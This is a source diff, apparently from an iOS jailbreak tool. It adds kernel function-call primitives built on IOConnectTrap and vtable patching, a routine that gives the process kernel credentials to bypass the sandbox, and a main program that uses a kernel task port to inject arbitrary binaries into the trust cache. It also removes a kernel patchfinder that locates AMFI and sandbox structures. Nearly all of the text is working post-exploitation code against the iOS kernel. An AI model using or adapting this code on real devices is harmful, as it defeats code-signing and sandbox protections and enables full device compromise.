+ connection = MACH_PORT_NULL;
+ }
+}
+
+uint64_t
+stage1_get_kernel_buffer() {
+ assert(kernel_buffer_size >= 0x2000);
+ return kernel_buffer + kernel_buffer_size - 0x1000;
+}
+
+uint32_t
+stage1_kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) {
+ assert(function != 0);
+ assert(argument_count <= 7);
+ assert(argument_count == 0 || arguments[0] != 0);
+ assert(MACH_PORT_VALID(connection) && trap != 0);
+ // Get exactly 7 arguments. Initialize args[0] to 1 in case there are no arguments.
+ uint64_t args[7] = { 1 };
+ for (size_t i = 0; i < argument_count && i < 7; i++) {
+ args[i] = arguments[i];
+ }
+ // Initialize the IOExternalTrap for this call.
+ uint8_t trap_data[SIZE(IOExternalTrap)];
+ FIELD(trap_data, IOExternalTrap, object, uint64_t) = args[0];
+ FIELD(trap_data, IOExternalTrap, function, uint64_t) = function;
+ FIELD(trap_data, IOExternalTrap, offset, uint64_t) = 0;
+ kernel_write(trap, trap_data, SIZE(IOExternalTrap));
+ // Perform the function call.
+ uint32_t result = IOConnectTrap6(connection, 0,
+ args[1], args[2], args[3], args[4], args[5], args[6]);
+ return result;
+}
+
+bool
+stage3_kernel_call_init() {
+ uint64_t *vtable = stage2_copyout_user_client_vtable();
+ size_t count = stage2_patch_user_client_vtable(vtable);
+ stage2_patch_user_client(vtable, count);
+ free(vtable);
+ return true;
+}
+
+void
+stage3_kernel_call_deinit() {
+ if (original_vtable != 0) {
+ stage2_unpatch_user_client();
+ original_vtable = 0;
+ }
+}
+
+uint32_t
+kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) {
+ return stage2_kernel_call_7v(function, argument_count, arguments);
+}
+
+void
+assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred) {
+ uint64_t proc_self = kernel_get_proc_for_task(current_task);
+ uint64_t kernel_proc = kernel_get_proc_for_task(kernel_task);
+ uint64_t proc_self_ucred_field = proc_self + OFFSET(proc, p_ucred);
+ uint64_t kernel_proc_ucred_field = kernel_proc + OFFSET(proc, p_ucred);
+ uint64_t proc_self_ucred = kernel_read64(proc_self_ucred_field);
+ uint64_t kernel_proc_ucred = kernel_read64(kernel_proc_ucred_field);
+ kernel_write64(proc_self_ucred_field, kernel_proc_ucred);
+ *ucred_field = proc_self_ucred_field;
+ *ucred = proc_self_ucred;
+}
+
+void
+restore_credentials(uint64_t ucred_field, uint64_t ucred) {
+ kernel_write64(ucred_field, ucred);
+}
diff --git a/kernel_call/user_client.h b/kernel_call/user_client.h
new file mode 100755
index 0000000..81c373d
--- /dev/null
+++ b/kernel_call/user_client.h
@@ -0,0 +1,91 @@
+/*
+ * kernel_call/user_client.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_
+#define VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+
+/*
+ * stage1_kernel_call_init
+ *
+ * Description:
+ * Initialize stage 1 of kernel function calling.
+ *
+ * Initializes:
+ * kernel_call_parameters_init()
+ * stage1_kernel_call_7v()
+ */
+bool stage1_kernel_call_init(void);
+
+/*
+ * stage1_kernel_call_deinit
+ *
+ * Description:
+ * Deinitialize stage 1 of kernel function calling.
+ */
+void stage1_kernel_call_deinit(void);
+
+/*
+ * stage1_get_kernel_buffer
+ *
+ * Description:
+ * Get the address of a 0x1000-byte scratch space in kernel memory that can be used by other
+ * stages.
+ */
+uint64_t stage1_get_kernel_buffer(void);
+
+/*
+ * stage1_kernel_call_7v
+ *
+ * Description:
+ * Call a kernel function using our stage 1 execute primitive.
+ *
+ * Restrictions:
+ * At most 7 arguments can be passed.
+ * The return value is truncated to 32 bits.
+ * At stage 1, only arguments X1 - X6 are controlled.
+ * The function pointer must already have a PAC signature.
+ */
+uint32_t stage1_kernel_call_7v(uint64_t function,
+ size_t argument_count, const uint64_t arguments[]);
+
+/*
+ * stage3_kernel_call_init
+ *
+ * Description:
+ * Initialize stage 3 of kernel function calling.
+ *
+ * Initializes:
+ * kernel_call_7v()
+ */
+bool stage3_kernel_call_init(void);
+
+/*
+ * stage3_kernel_call_deinit
+ *
+ * Description:
+ * Deinitialize stage 3 of kernel function calling.
+ */
+void stage3_kernel_call_deinit(void);
+
+/*
+ * assume_kernel_credentials
+ *
+ * Description:
+ * Set this process's credentials to the kernel's credentials so that we can bypass sandbox
+ * checks.
+ */
+void assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred);
+/*
+ * restore_credentials
+ *
+ * Description:
+ * Restore this process's credentials after calling assume_kernel_credentials().
+ */
+void restore_credentials(uint64_t ucred_field, uint64_t ucred);
+
+#endif
diff --git a/main.m b/main.m
index de107ff..b342996 100644
--- a/main.m
+++ b/main.m
@@ -6,6 +6,7 @@
*
*/
+#include <Foundation/Foundation.h>
#include <CoreFoundation/CoreFoundation.h>
#include <mach/mach.h>
#include <dlfcn.h>
@@ -13,7 +14,12 @@
#include "CSCommon.h"
#include "kern_funcs.h"
#include "inject.h"
+#include "kernel_call.h"
+#include "parameters.h"
+#include "kc_parameters.h"
+#include "kernel_memory.h"
+#define PF(x) SETOFFSET(x, find_ ## x ())
mach_port_t try_restore_port() {
mach_port_t port = MACH_PORT_NULL;
@@ -39,28 +45,51 @@ int main(int argc, char* argv[]) {
if (tfp0 == MACH_PORT_NULL)
return -2;
set_tfp0(tfp0);
- uint64_t kernel_base = 0;
struct task_dyld_info dyld_info = { 0 };
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
if (task_info(tfp0, TASK_DYLD_INFO, (task_info_t)&dyld_info, &count) != KERN_SUCCESS ||
- (kernel_base = dyld_info.all_image_info_addr) == 0) {
+ (kernel_base = dyld_info.all_image_info_addr) == 0 ||
+ (kernel_slide = dyld_info.all_image_info_size) == 0) {
return -3;
}
init_kernel(kread, kernel_base, NULL);
uint64_t trust_chain = find_trustcache();
+ PF(trustcache);
+ PF(kernel_task);
+ PF(pmap_load_trust_cache);
+#if __arm64e__
+ PF(paciza_pointer__l2tp_domain_module_start);
+ PF(paciza_pointer__l2tp_domain_module_stop);
+ PF(l2tp_domain_inited);
+ PF(sysctl__net_ppp_l2tp);
+ PF(sysctl_unregister_oid);
+ PF(mov_x0_x4__br_x5);
+ PF(mov_x9_x0__br_x1);
+ PF(mov_x10_x3__br_x6);
+ PF(kernel_forge_pacia_gadget);
+ PF(kernel_forge_pacda_gadget);
+#endif
+ PF(IOUserClient__vtable);
+ PF(IORegistryEntry__getRegistryEntryID);
term_kernel();
+ parameters_init();
+ kernel_task_port = tfp0;
+ current_task = rk64(task_self_addr() + OFFSET(ipc_port, ip_kobject));
+ kernel_task = rk64(GETOFFSET(kernel_task));
+ kernel_call_init();
printf("Injecting to trust cache...\n");
@autoreleasepool {
NSMutableArray *files = [NSMutableArray new];
for (int i=1; i<argc; i++) {
[files addObject:@( argv[i] )];
}
- int errs = injectTrustCache(files, trust_chain);
+ int errs = injectTrustCache(files, trust_chain, pmap_load_trust_cache);
if (errs < 0) {
printf("Error %d injecting to trust cache.\n", errs);
} else {
printf("Successfully injected [%d/%d] to trust cache.\n", (int)files.count - errs, (int)files.count);
}
+ kernel_call_deinit();
return errs;
}
diff --git a/patchfinder64 b/patchfinder64
-Subproject 14dd6e5374b43a470d9e0b21e824f58e4460583
+Subproject f9e5ad36fb55c24579296806338f92b61b705c1
diff --git a/patchfinder64.c b/patchfinder64.c
deleted file mode 100644
index a550ce8..0000000
--- a/patchfinder64.c
+++ /dev/null
@@ -1,1678 +0,0 @@
-//
-// patchfinder64.c
-// extra_recipe
-//
-// Created by xerub on 06/06/2017.
-// Copyright © 2017 xerub. All rights reserved.
-//
-
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <mach-o/loader.h>
-#include <assert.h>
-#include <stdint.h>
-#include <string.h>
-#include "kmem.h"
-
-typedef unsigned long long addr_t;
-
-#define IS64(image) (*(uint8_t *)(image) & 1)
-
-#define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface)
-
-#define REAL_ADDR(x) ((uint64_t)x + (uint64_t)kernel - (uint64_t)kernel_mh + (uint64_t)0xFFFFFFF007004000)
-
-/* generic stuff *************************************************************/
-
-#define UCHAR_MAX 255
-
-static unsigned char *
-boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen,
- const unsigned char* needle, size_t nlen)
-{
- size_t last, scan = 0;
- size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called:
- * bad character shift */
-
- /* Sanity checks on the parameters */
- if (nlen <= 0 || !haystack || !needle)
- return NULL;
-
- /* ---- Preprocess ---- */
- /* Initialize the table to default value */
- /* When a character is encountered that does not occur
- * in the needle, we can safely skip ahead for the whole
- * length of the needle.
- */
- for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1)
- bad_char_skip[scan] = nlen;
-
- /* C arrays have the first byte at [0], therefore:
- * [nlen - 1] is the last byte of the array. */
- last = nlen - 1;
-
- /* Then populate it with the analysis of the needle */
- for (scan = 0; scan < last; scan = scan + 1)
- bad_char_skip[needle[scan]] = last - scan;
-
- /* ---- Do the matching ---- */
-
- /* Search the haystack, while the needle can still be within it. */
- while (hlen >= nlen)
- {
- /* scan from the end of the needle */
- for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1)
- if (scan == 0) /* If the first byte matches, we've found it. */
- return (void *)haystack;
-
- /* otherwise, we need to skip some bytes and start again.
- Note that here we are getting the skip value based on the last byte
- of needle, no matter where we didn't match. So if needle is: "abcd"
- then we are skipping based on 'd' and that value will be 4, and
- for "abcdd" we again skip on 'd' but the value will be only 1.
- The alternative of pretending that the mismatched character was
- the last character is slower in the normal case (E.g. finding
- "abcd" in "...azcd..." gives 4 by using 'd' but only
- 4-2==2 using 'z'. */
- hlen -= bad_char_skip[haystack[last]];
- haystack += bad_char_skip[haystack[last]];
- }
-
- return NULL;
-}
-
-/* disassembler **************************************************************/
-
-/*
-static int HighestSetBit(int N, uint32_t imm)
-{
- int i;
- for (i = N - 1; i >= 0; i--) {
- if (imm & (1 << i)) {
- return i;
- }
- }
- return -1;
-}
-
-static uint64_t ZeroExtendOnes(unsigned M, unsigned N) // zero extend M ones to N width
-{
- (void)N;
- return ((uint64_t)1 << M) - 1;
-}
-
-static uint64_t RORZeroExtendOnes(unsigned M, unsigned N, unsigned R)
-{
- uint64_t val = ZeroExtendOnes(M, N);
- if (R == 0) {
- return val;
- }
- return ((val >> R) & (((uint64_t)1 << (N - R)) - 1)) | ((val & (((uint64_t)1 << R) - 1)) << (N - R));
-}
-
-static uint64_t Replicate(uint64_t val, unsigned bits)
-{
- uint64_t ret = val;
- unsigned shift;
- for (shift = bits; shift < 64; shift += bits) { // XXX actually, it is either 32 or 64
- ret |= (val << shift);
- }
- return ret;
-}
-
-static int DecodeBitMasks(unsigned immN, unsigned imms, unsigned immr, int immediate, uint64_t *newval)
-{
- unsigned levels, S, R, esize;
- int len = HighestSetBit(7, (immN << 6) | (~imms & 0x3F));
- if (len < 1) {
- return -1;
- }
- levels = (unsigned int)ZeroExtendOnes(len, 6);
- if (immediate && (imms & levels) == levels) {
- return -1;
- }
- S = imms & levels;
- R = immr & levels;
- esize = 1 << len;
- *newval = Replicate(RORZeroExtendOnes(S + 1, esize, R), esize);
- return 0;
-}
-
-static int DecodeMov(uint32_t opcode, uint64_t total, int first, uint64_t *newval)
-{
- unsigned o = (opcode >> 29) & 3;
- unsigned k = (opcode >> 23) & 0x3F;
- unsigned rn, rd;
- uint64_t i;
-
- if (k == 0x24 && o == 1) { // MOV (bitmask imm) <=> ORR (immediate)
- unsigned s = (opcode >> 31) & 1;
- unsigned N = (opcode >> 22) & 1;
- if (s == 0 && N != 0) {
- return -1;
- }
- rn = (opcode >> 5) & 0x1F;
- if (rn == 31) {
- unsigned imms = (opcode >> 10) & 0x3F;
- unsigned immr = (opcode >> 16) & 0x3F;
- return DecodeBitMasks(N, imms, immr, 1, newval);
- }
- } else if (k == 0x25) { // MOVN/MOVZ/MOVK
- unsigned s = (opcode >> 31) & 1;
- unsigned h = (opcode >> 21) & 3;
- if (s == 0 && h > 1) {
- return -1;
- }
- i = (opcode >> 5) & 0xFFFF;
- h *= 16;
- i <<= h;
- if (o == 0) { // MOVN
- *newval = ~i;
- return 0;
- } else if (o == 2) { // MOVZ
- *newval = i;
- return 0;
- } else if (o == 3 && !first) { // MOVK
- *newval = (total & ~((uint64_t)0xFFFF << h)) | i;
- return 0;
- }
- } else if ((k | 1) == 0x23 && !first) { // ADD (immediate)
- unsigned h = (opcode >> 22) & 3;
- if (h > 1) {
- return -1;
- }
- rd = opcode & 0x1F;
- rn = (opcode >> 5) & 0x1F;
- if (rd != rn) {
- return -1;
- }
- i = (opcode >> 10) & 0xFFF;
- h *= 12;
- i <<= h;
- if (o & 2) { // SUB
- *newval = total - i;
- return 0;
- } else { // ADD
- *newval = total + i;
- return 0;
- }
- }
-
- return -1;
-}
-
-*/
-/* patchfinder ***************************************************************/
-
-static addr_t
-step64(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask)
-{
- addr_t end = start + length;
- while (start < end) {
- uint32_t x = *(uint32_t *)(buf + start);
- if ((x & mask) == what) {
- return start;
- }
- start += 4;
- }
- return 0;
-}
-
-static addr_t
-step64_back(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask)
-{
- addr_t end = start - length;
- while (start >= end) {
- uint32_t x = *(uint32_t *)(buf + start);
- if ((x & mask) == what) {
- return start;
- }
- start -= 4;
- }
- return 0;
-}
-
-static addr_t
-bof64(const uint8_t *buf, addr_t start, addr_t where)
-{
- for (; where >= start; where -= 4) {
- uint32_t op = *(uint32_t *)(buf + where);
- if ((op & 0xFFC003FF) == 0x910003FD) {
- unsigned delta = (op >> 10) & 0xFFF;
- //printf("%x: ADD X29, SP, #0x%x\n", where, delta);
- if ((delta & 0xF) == 0) {
- addr_t prev = where - ((delta >> 4) + 1) * 4;
- uint32_t au = *(uint32_t *)(buf + prev);
- if ((au & 0xFFC003E0) == 0xA98003E0) {
- //printf("%x: STP x, y, [SP,#-imm]!\n", prev);
- return prev;
- }
- }
- }
- }
- return 0;
-}
-
-static addr_t
-xref64(const uint8_t *buf, addr_t start, addr_t end, addr_t what)
-{
- addr_t i;
- uint64_t value[32];
-
- memset(value, 0, sizeof(value));
-
- end &= ~3;
- for (i = start & ~3; i < end; i += 4) {
- uint32_t op = *(uint32_t *)(buf + i);
- unsigned reg = op & 0x1F;
- if ((op & 0x9F000000) == 0x90000000) {
- signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
- //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF));
- value[reg] = ((long long)adr << 1) + (i & ~0xFFF);
- /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) {
- unsigned rd = op & 0x1F;
- unsigned rm = (op >> 16) & 0x1F;
- //printf("%llx: MOV X%d, X%d\n", i, rd, rm);
- value[rd] = value[rm];*/
- } else if ((op & 0xFF000000) == 0x91000000) {
- unsigned rn = (op >> 5) & 0x1F;
- unsigned shift = (op >> 22) & 3;
- unsigned imm = (op >> 10) & 0xFFF;
- if (shift == 1) {
- imm <<= 12;
- } else {
- //assert(shift == 0);
- if (shift > 1) continue;
- }
- //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm);
- value[reg] = value[rn] + imm;
- } else if ((op & 0xF9C00000) == 0xF9400000) {
- unsigned rn = (op >> 5) & 0x1F;
- unsigned imm = ((op >> 10) & 0xFFF) << 3;
- //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
- if (!imm) continue; // XXX not counted as true xref
- value[reg] = value[rn] + imm; // XXX address, not actual value
- /*} else if ((op & 0xF9C00000) == 0xF9000000) {
- unsigned rn = (op >> 5) & 0x1F;
- unsigned imm = ((op >> 10) & 0xFFF) << 3;
- //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
- if (!imm) continue; // XXX not counted as true xref
- value[rn] = value[rn] + imm; // XXX address, not actual value*/
- } else if ((op & 0x9F000000) == 0x10000000) {
- signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
- //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i);
- value[reg] = ((long long)adr >> 11) + i;
- } else if ((op & 0xFF000000) == 0x58000000) {
- unsigned adr = (op & 0xFFFFE0) >> 3;
- //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i);
- value[reg] = adr + i; // XXX address, not actual value
- }
- if (value[reg] == what) {
- return i;
- }
- }
- return 0;
-}
-
-static addr_t
-calc64(const uint8_t *buf, addr_t start, addr_t end, int which)
-{
- addr_t i;
- uint64_t value[32];
-
- memset(value, 0, sizeof(value));
-
- end &= ~3;
- for (i = start & ~3; i < end; i += 4) {
- uint32_t op = *(uint32_t *)(buf + i);
- unsigned reg = op & 0x1F;
- if ((op & 0x9F000000) == 0x90000000) {
- signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
- //printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF));
- value[reg] = ((long long)adr << 1) + (i & ~0xFFF);
- /*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) {
- unsigned rd = op & 0x1F;
- unsigned rm = (op >> 16) & 0x1F;
- //printf("%llx: MOV X%d, X%d\n", i, rd, rm);
- value[rd] = value[rm];*/
- } else if ((op & 0xFF000000) == 0x91000000) {
- unsigned rn = (op >> 5) & 0x1F;
- unsigned shift = (op >> 22) & 3;
- unsigned imm = (op >> 10) & 0xFFF;
- if (shift == 1) {
- imm <<= 12;
- } else {
- //assert(shift == 0);
- if (shift > 1) continue;
- }
- //printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm);
- value[reg] = value[rn] + imm;
- } else if ((op & 0xF9C00000) == 0xF9400000) {
- unsigned rn = (op >> 5) & 0x1F;
- unsigned imm = ((op >> 10) & 0xFFF) << 3;
- //printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
- if (!imm) continue; // XXX not counted as true xref
- value[reg] = value[rn] + imm; // XXX address, not actual value
- } else if ((op & 0xF9C00000) == 0xF9000000) {
- unsigned rn = (op >> 5) & 0x1F;
- unsigned imm = ((op >> 10) & 0xFFF) << 3;
- //printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
- if (!imm) continue; // XXX not counted as true xref
- value[rn] = value[rn] + imm; // XXX address, not actual value
- } else if ((op & 0x9F000000) == 0x10000000) {
- signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
- //printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i);
- value[reg] = ((long long)adr >> 11) + i;
- } else if ((op & 0xFF000000) == 0x58000000) {
- unsigned adr = (op & 0xFFFFE0) >> 3;
- //printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i);
- value[reg] = adr + i; // XXX address, not actual value
- }
- }
- return value[which];
-}
-
-/*
-static addr_t
-calc64mov(const uint8_t *buf, addr_t start, addr_t end, int which)
-{
- addr_t i;
- uint64_t value[32];
-
- memset(value, 0, sizeof(value));
-
- end &= ~3;
- for (i = start & ~3; i < end; i += 4) {
- uint32_t op = *(uint32_t *)(buf + i);
- unsigned reg = op & 0x1F;
- uint64_t newval;
- int rv = DecodeMov(op, value[reg], 0, &newval);
- if (rv == 0) {
- if (((op >> 31) & 1) == 0) {
- newval &= 0xFFFFFFFF;
- }
- value[reg] = newval;
- }
- }
- return value[which];
-}
-
-static addr_t
-find_call64(const uint8_t *buf, addr_t start, size_t length)
-{
- return step64(buf, start, length, 0x94000000, 0xFC000000);
-}
-*/
-
-static addr_t
-follow_call64(const uint8_t *buf, addr_t call)
-{
- long long w;
- w = *(uint32_t *)(buf + call) & 0x3FFFFFF;
- w <<= 64 - 26;
- w >>= 64 - 26 - 2;
- return call + w;
-}
-
-static addr_t
-follow_cbz(const uint8_t *buf, addr_t cbz)
-{
- return cbz + ((*(int *)(buf + cbz) & 0x3FFFFE0) << 10 >> 13);
-}
-
-/* kernel iOS10 **************************************************************/
-
-#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
-#include <mach/mach.h>
-size_t kread(uint64_t where, void *p, size_t size);
-#endif
-
-static uint8_t *kernel = NULL;
-static size_t kernel_size = 0;
-
-static addr_t xnucore_base = 0;
-static addr_t xnucore_size = 0;
-static addr_t prelink_base = 0;
-static addr_t prelink_size = 0;
-static addr_t cstring_base = 0;
-static addr_t cstring_size = 0;
-static addr_t pstring_base = 0;
-static addr_t pstring_size = 0;
-static addr_t kerndumpbase = -1;
-static addr_t kernel_entry = 0;
-static void *kernel_mh = 0;
-#ifndef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
-static addr_t kernel_delta = 0;
-#endif
-
-int
-init_kernel(addr_t base, const char *filename)
-{
- size_t rv;
- uint8_t buf[0x4000];
- unsigned i, j;
- const struct mach_header *hdr = (struct mach_header *)buf;
- const uint8_t *q;
- addr_t min = -1;
- addr_t max = 0;
- int is64 = 0;
-
-#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
-#define close(f)
- rv = kread(base, buf, sizeof(buf));
- if (rv != sizeof(buf)) {
- return -1;
- }
-#else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
- int fd = open(filename, O_RDONLY);
- if (fd < 0) {
- return -1;
- }
-
- rv = read(fd, buf, sizeof(buf));
- if (rv != sizeof(buf)) {
- close(fd);
- return -1;
- }
-#endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
-
- if (!MACHO(buf)) {
- close(fd);
- return -1;
- }
-
- if (IS64(buf)) {
- is64 = 4;
- }
-
- q = buf + sizeof(struct mach_header) + is64;
- for (i = 0; i < hdr->ncmds; i++) {
- const struct load_command *cmd = (struct load_command *)q;
- if (cmd->cmd == LC_SEGMENT_64) {
- const struct segment_command_64 *seg = (struct segment_command_64 *)q;
- if (min > seg->vmaddr) {
- min = seg->vmaddr;
- }
- if (max < seg->vmaddr + seg->vmsize) {
- max = seg->vmaddr + seg->vmsize;
- }
- if (!strcmp(seg->segname, "__TEXT_EXEC")) {
- xnucore_base = seg->vmaddr;
- xnucore_size = seg->filesize;
- }
- if (!strcmp(seg->segname, "__PLK_TEXT_EXEC")) {
- prelink_base = seg->vmaddr;
- prelink_size = seg->filesize;
- }
- if (!strcmp(seg->segname, "__TEXT")) {
- const struct section_64 *sec = (struct section_64 *)(seg + 1);
- for (j = 0; j < seg->nsects; j++) {
- if (!strcmp(sec[j].sectname, "__cstring")) {
- cstring_base = sec[j].addr;
- cstring_size = sec[j].size;
- }
- }
- }
- if (!strcmp(seg->segname, "__PRELINK_TEXT")) {
- const struct section_64 *sec = (struct section_64 *)(seg + 1);
- for (j = 0; j < seg->nsects; j++) {
- if (!strcmp(sec[j].sectname, "__text")) {
- pstring_base = sec[j].addr;
- pstring_size = sec[j].size;
- }
- }
- }
- }
- if (cmd->cmd == LC_UNIXTHREAD) {
- uint32_t *ptr = (uint32_t *)(cmd + 1);
- uint32_t flavor = ptr[0];
- struct {
- uint64_t x[29]; /* General purpose registers x0-x28 */
- uint64_t fp; /* Frame pointer x29 */
- uint64_t lr; /* Link register x30 */
- uint64_t sp; /* Stack pointer x31 */
- uint64_t pc; /* Program counter */
- uint32_t cpsr; /* Current program status register */
- } *thread = (void *)(ptr + 2);
- if (flavor == 6) {
- kernel_entry = thread->pc;
- }
- }
- q = q + cmd->cmdsize;
- }
-
- kerndumpbase = min;
- xnucore_base -= kerndumpbase;
- prelink_base -= kerndumpbase;
- cstring_base -= kerndumpbase;
- pstring_base -= kerndumpbase;
- kernel_size = max - min;
-
-#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
- kernel = malloc(kernel_size);
- if (!kernel) {
- return -1;
- }
- rv = kread(kerndumpbase, kernel, kernel_size);
- if (rv != kernel_size) {
- free(kernel);
- return -1;
- }
-
- kernel_mh = kernel + base - min;
-
- (void)filename;
-#undef close
-#else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
- kernel = calloc(1, kernel_size);
- if (!kernel) {
- close(fd);
- return -1;
- }
-
- q = buf + sizeof(struct mach_header) + is64;
- for (i = 0; i < hdr->ncmds; i++) {
- const struct load_command *cmd = (struct load_command *)q;
- if (cmd->cmd == LC_SEGMENT_64) {
- const struct segment_command_64 *seg = (struct segment_command_64 *)q;
- size_t sz = pread(fd, kernel + seg->vmaddr - min, seg->filesize, seg->fileoff);
- if (sz != seg->filesize) {
- close(fd);
- free(kernel);
- return -1;
- }
- if (!kernel_mh) {
- kernel_mh = kernel + seg->vmaddr - min;
- }
- if (!strcmp(seg->segname, "__LINKEDIT")) {
- kernel_delta = seg->vmaddr - min - seg->fileoff;
- }
- }
- q = q + cmd->cmdsize;
- }
-
- close(fd);
-
- (void)base;
-#endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
- return 0;
-}
-
-void
-term_kernel(void)
-{
- if (kernel != NULL) {
- free(kernel);
- kernel = NULL;
- }
-}
-
-/* these operate on VA ******************************************************/
-
-#define INSN_RET 0xD65F03C0, 0xFFFFFFFF
-#define INSN_CALL 0x94000000, 0xFC000000
-#define INSN_B 0x14000000, 0xFC000000
-#define INSN_CBZ 0x34000000, 0xFC000000
-#define INSN_ADRP 0x90000000, 0x9F000000
-
-addr_t
-find_register_value(addr_t where, int reg)
-{
- addr_t val;
- addr_t bof = 0;
- where -= kerndumpbase;
- if (where > xnucore_base) {
- bof = bof64(kernel, xnucore_base, where);
- if (!bof) {
- bof = xnucore_base;
- }
- } else if (where > prelink_base) {
- bof = bof64(kernel, prelink_base, where);
- if (!bof) {
- bof = prelink_base;
- }
- }
- val = calc64(kernel, bof, where, reg);
- if (!val) {
- return 0;
- }
- return val + kerndumpbase;
-}
-
-addr_t
-find_reference(addr_t to, int n, int prelink)
-{
- addr_t ref, end;
- addr_t base = xnucore_base;
- addr_t size = xnucore_size;
- if (prelink) {
- base = prelink_base;
- size = prelink_size;
- }
- if (n <= 0) {
- n = 1;
- }
- end = base + size;
- to -= kerndumpbase;
- do {
- ref = xref64(kernel, base, end, to);
- if (!ref) {
- return 0;
- }
- base = ref + 4;
- } while (--n > 0);
- return ref + kerndumpbase;
-}
-
-addr_t
-find_strref(const char *string, int n, int prelink)
-{
- uint8_t *str;
- addr_t base = cstring_base;
- addr_t size = cstring_size;
- if (prelink) {
- base = pstring_base;
- size = pstring_size;
- }
- str = boyermoore_horspool_memmem(kernel + base, size, (uint8_t *)string, strlen(string));
- if (!str) {
- return 0;
- }
- return find_reference(str - kernel + kerndumpbase, n, prelink);
-}
-
-addr_t
-find_gPhysBase(void)
-{
- addr_t ret, val;
- addr_t ref = find_strref("\"pmap_map_high_window_bd: insufficient pages", 1, 0);
- if (!ref) {
- return 0;
- }
- ref -= kerndumpbase;
- ret = step64(kernel, ref, 64, INSN_RET);
- if (!ret) {
- // iOS 11
- ref = step64(kernel, ref, 1024, INSN_RET);
- if (!ref) {
- return 0;
- }
- ret = step64(kernel, ref + 4, 64, INSN_RET);
- if (!ret) {
- return 0;
- }
- }
- val = calc64(kernel, ref, ret, 8);
- if (!val) {
- return 0;
- }
- return val + kerndumpbase;
-}
-
-addr_t
-find_kernel_pmap(void)
-{
- addr_t call, bof, val;
- addr_t ref = find_strref("\"pmap_map_bd\"", 1, 0);
- if (!ref) {
- return 0;
- }
- ref -= kerndumpbase;
- call = step64_back(kernel, ref, 64, INSN_CALL);
- if (!call) {
- return 0;
- }
- bof = bof64(kernel, xnucore_base, call);
- if (!bof) {
- return 0;
- }
- val = calc64(kernel, bof, call, 2);
- if (!val) {
- return 0;
- }
- return val + kerndumpbase;
-}
-
-addr_t
-find_amfiret(void)
-{
- addr_t ret;
- addr_t ref = find_strref("AMFI: hook..execve() killing pid %u: %s\n", 1, 1);
- if (!ref) {
- return 0;
- }
- ref -= kerndumpbase;
- ret = step64(kernel, ref, 512, INSN_RET);
- if (!ret) {
- return 0;
- }
- return ret + kerndumpbase;
-}
-
-addr_t
-find_ret_0(void)
-{
- addr_t off;
- uint32_t *k;
- k = (uint32_t *)(kernel + xnucore_base);
- for (off = 0; off < xnucore_size - 4; off += 4, k++) {
- if (k[0] == 0xAA1F03E0 && k[1] == 0xD65F03C0) {
- return off + xnucore_base + kerndumpbase;
- }
- }
- k = (uint32_t *)(kernel + prelink_base);
- for (off = 0; off < prelink_size - 4; off += 4, k++) {
- if (k[0] == 0xAA1F03E0 && k[1] == 0xD65F03C0) {
- return off + prelink_base + kerndumpbase;
- }
- }
- return 0;
-}
-
-addr_t
-find_amfi_memcmpstub(void)
-{
- addr_t call, dest, reg;
- addr_t ref = find_strref("%s: Possible race detected. Rejecting.", 1, 1);
- if (!ref) {
- return 0;
- }
- ref -= kerndumpbase;
- call = step64_back(kernel, ref, 64, INSN_CALL);
- if (!call) {
- return 0;
- }
- dest = follow_call64(kernel, call);
- if (!dest) {
- return 0;
- }
- reg = calc64(kernel, dest, dest + 8, 16);
- if (!reg) {
- return 0;
- }
- return reg + kerndumpbase;
-}
-
-addr_t
-find_sbops(void)
-{
- addr_t off, what;
- uint8_t *str = boyermoore_horspool_memmem(kernel + pstring_base, pstring_size, (uint8_t *)"Seatbelt sandbox policy", sizeof("Seatbelt sandbox policy") - 1);
- if (!str) {
